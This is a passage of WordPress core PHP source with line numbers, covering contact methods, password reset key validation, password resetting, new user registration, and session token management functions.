2033 'jabber' => __( 'Jabber / Google Talk' )
2034 );
2035 }
2036
2037 /**
2038 * Filter the user contact methods.
2039 *
2040 * @since 2.9.0
2041 *
2042 * @param array $methods Array of contact methods and their labels.
2043 * @param WP_User $user WP_User object.
2044 */
2045 return apply_filters( 'user_contactmethods', $methods, $user );
2046}
2047
2048/**
2049 * The old private function for setting up user contact methods.
2050 *
2051 * @since 2.9.0
2052 * @access private
2053 */
2054function _wp_get_user_contactmethods( $user = null ) {
2055 return wp_get_user_contact_methods( $user );
2056}
2057
2058/**
2059 * Retrieves a user row based on password reset key and login
2060 *
2061 * A key is considered 'expired' if it exactly matches the value of the
2062 * user_activation_key field, rather than being matched after going through the
2063 * hashing process. This field is now hashed; old values are no longer accepted
2064 * but have a different WP_Error code so good user feedback can be provided.
2065 *
2066 * @global wpdb $wpdb WordPress database object for queries.
2067 *
2068 * @param string $key Hash to validate sending user's password.
2069 * @param string $login The user login.
2070 * @return WP_User|WP_Error WP_User object on success, WP_Error object for invalid or expired keys.
2071 */
2072function check_password_reset_key($key, $login) {
2073 global $wpdb, $wp_hasher;
2074
2075 $key = preg_replace('/[^a-z0-9]/i', '', $key);
2076
2077 if ( empty( $key ) || !is_string( $key ) )
2078 return new WP_Error('invalid_key', __('Invalid key'));
2079
2080 if ( empty($login) || !is_string($login) )
2081 return new WP_Error('invalid_key', __('Invalid key'));
2082
2083 $row = $wpdb->get_row( $wpdb->prepare( "SELECT ID, user_activation_key FROM $wpdb->users WHERE user_login = %s", $login ) );
2084 if ( ! $row )
2085 return new WP_Error('invalid_key', __('Invalid key'));
2086
2087 if ( empty( $wp_hasher ) ) {
2088 require_once ABSPATH . WPINC . '/class-phpass.php';
2089 $wp_hasher = new PasswordHash( 8, true );
2090 }
2091
2092 if ( $wp_hasher->CheckPassword( $key, $row->user_activation_key ) )
2093 return get_userdata( $row->ID );
2094
2095 if ( $key === $row->user_activation_key ) {
2096 $return = new WP_Error( 'expired_key', __( 'Invalid key' ) );
2097 $user_id = $row->ID;
2098
2099 /**
2100 * Filter the return value of check_password_reset_key() when an
2101 * old-style key is used (plain-text key was stored in the database).
2102 *
2103 * @since 3.7.0
2104 *
2105 * @param WP_Error $return A WP_Error object denoting an expired key.
2106 * Return a WP_User object to validate the key.
2107 * @param int $user_id The matched user ID.
2108 */
2109 return apply_filters( 'password_reset_key_expired', $return, $user_id );
2110 }
2111
2112 return new WP_Error( 'invalid_key', __( 'Invalid key' ) );
2113}
2114
2115/**
2116 * Handles resetting the user's password.
2117 *
2118 * @param object $user The user
2119 * @param string $new_pass New password for the user in plaintext
2120 */
2121function reset_password( $user, $new_pass ) {
2122 /**
2123 * Fires before the user's password is reset.
2124 *
2125 * @since 1.5.0
2126 *
2127 * @param object $user The user.
2128 * @param string $new_pass New user password.
2129 */
2130 do_action( 'password_reset', $user, $new_pass );
2131
2132 wp_set_password( $new_pass, $user->ID );
2133 update_user_option( $user->ID, 'default_password_nag', false, true );
2134
2135 wp_password_change_notification( $user );
2136}
2137
2138/**
2139 * Handles registering a new user.
2140 *
2141 * @param string $user_login User's username for logging in
2142 * @param string $user_email User's email address to send password and add
2143 * @return int|WP_Error Either user's ID or error on failure.
2144 */
2145function register_new_user( $user_login, $user_email ) {
2146 $errors = new WP_Error();
2147
2148 $sanitized_user_login = sanitize_user( $user_login );
2149 /**
2150 * Filter the email address of a user being registered.
2151 *
2152 * @since 2.1.0
2153 *
2154 * @param string $user_email The email address of the new user.
2155 */
2156 $user_email = apply_filters( 'user_registration_email', $user_email );
2157
2158 // Check the username
2159 if ( $sanitized_user_login == '' ) {
2160 $errors->add( 'empty_username', __( '<strong>ERROR</strong>: Please enter a username.' ) );
2161 } elseif ( ! validate_username( $user_login ) ) {
2162 $errors->add( 'invalid_username', __( '<strong>ERROR</strong>: This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
2163 $sanitized_user_login = '';
2164 } elseif ( username_exists( $sanitized_user_login ) ) {
2165 $errors->add( 'username_exists', __( '<strong>ERROR</strong>: This username is already registered. Please choose another one.' ) );
2166 }
2167
2168 // Check the e-mail address
2169 if ( $user_email == '' ) {
2170 $errors->add( 'empty_email', __( '<strong>ERROR</strong>: Please type your e-mail address.' ) );
2171 } elseif ( ! is_email( $user_email ) ) {
2172 $errors->add( 'invalid_email', __( '<strong>ERROR</strong>: The email address isn’t correct.' ) );
2173 $user_email = '';
2174 } elseif ( email_exists( $user_email ) ) {
2175 $errors->add( 'email_exists', __( '<strong>ERROR</strong>: This email is already registered, please choose another one.' ) );
2176 }
2177
2178 /**
2179 * Fires when submitting registration form data, before the user is created.
2180 *
2181 * @since 2.1.0
2182 *
2183 * @param string $sanitized_user_login The submitted username after being sanitized.
2184 * @param string $user_email The submitted email.
2185 * @param WP_Error $errors Contains any errors with submitted username and email,
2186 * e.g., an empty field, an invalid username or email,
2187 * or an existing username or email.
2188 */
2189 do_action( 'register_post', $sanitized_user_login, $user_email, $errors );
2190
2191 /**
2192 * Filter the errors encountered when a new user is being registered.
2193 *
2194 * The filtered WP_Error object may, for example, contain errors for an invalid
2195 * or existing username or email address. A WP_Error object should always returned,
2196 * but may or may not contain errors.
2197 *
2198 * If any errors are present in $errors, this will abort the user's registration.
2199 *
2200 * @since 2.1.0
2201 *
2202 * @param WP_Error $errors A WP_Error object containing any errors encountered
2203 * during registration.
2204 * @param string $sanitized_user_login User's username after it has been sanitized.
2205 * @param string $user_email User's email.
2206 */
2207 $errors = apply_filters( 'registration_errors', $errors, $sanitized_user_login, $user_email );
2208
2209 if ( $errors->get_error_code() )
2210 return $errors;
2211
2212 $user_pass = wp_generate_password( 12, false );
2213 $user_id = wp_create_user( $sanitized_user_login, $user_pass, $user_email );
2214 if ( ! $user_id || is_wp_error( $user_id ) ) {
2215 $errors->add( 'registerfail', sprintf( __( '<strong>ERROR</strong>: Couldn’t register you… please contact the <a href="mailto:%s">webmaster</a> !' ), get_option( 'admin_email' ) ) );
2216 return $errors;
2217 }
2218
2219 update_user_option( $user_id, 'default_password_nag', true, true ); //Set up the Password change nag.
2220
2221 wp_new_user_notification( $user_id, $user_pass );
2222
2223 return $user_id;
2224}
2225
2226/**
2227 * Retrieve the current session token from the logged_in cookie.
2228 *
2229 * @since 4.0.0
2230 *
2231 * @return string Token.
2232 */
2233function wp_get_session_token() {
2234 $cookie = wp_parse_auth_cookie( '', 'logged_in' );
2235 return ! empty( $cookie['token'] ) ? $cookie['token'] : '';
2236}
2237
2238/**
2239 * Retrieve a list of sessions for the current user.
2240 *
2241 * @since 4.0.0
2242 * @return array Array of sessions.
2243 */
2244function wp_get_all_sessions() {
2245 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2246 return $manager->get_all();
2247}
2248
2249/**
2250 * Remove the current session token from the database.
2251 *
2252 * @since 4.0.0
2253 */
2254function wp_destroy_current_session() {
2255 $token = wp_get_session_token();
2256 if ( $token ) {
2257 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2258 $manager->destroy( $token );
2259 }
2260}
2261
2262/**
2263 * Remove all but the current session token for the current user for the database.
2264 *
2265 * @since 4.0.0
2266 */
2267function wp_destroy_other_sessions() {
2268 $token = wp_get_session_token();
2269 if ( $token ) {
2270 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2271 $manager->destroy_others( $token );
2272 }
2273}
2274
2275/**
2276 * Remove all session tokens for the current user from the database.
2277 *
2278 * @since 4.0.0
2279 */
2280function wp_destroy_all_sessions() {
2281 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2282 $manager->destroy_all();
2283}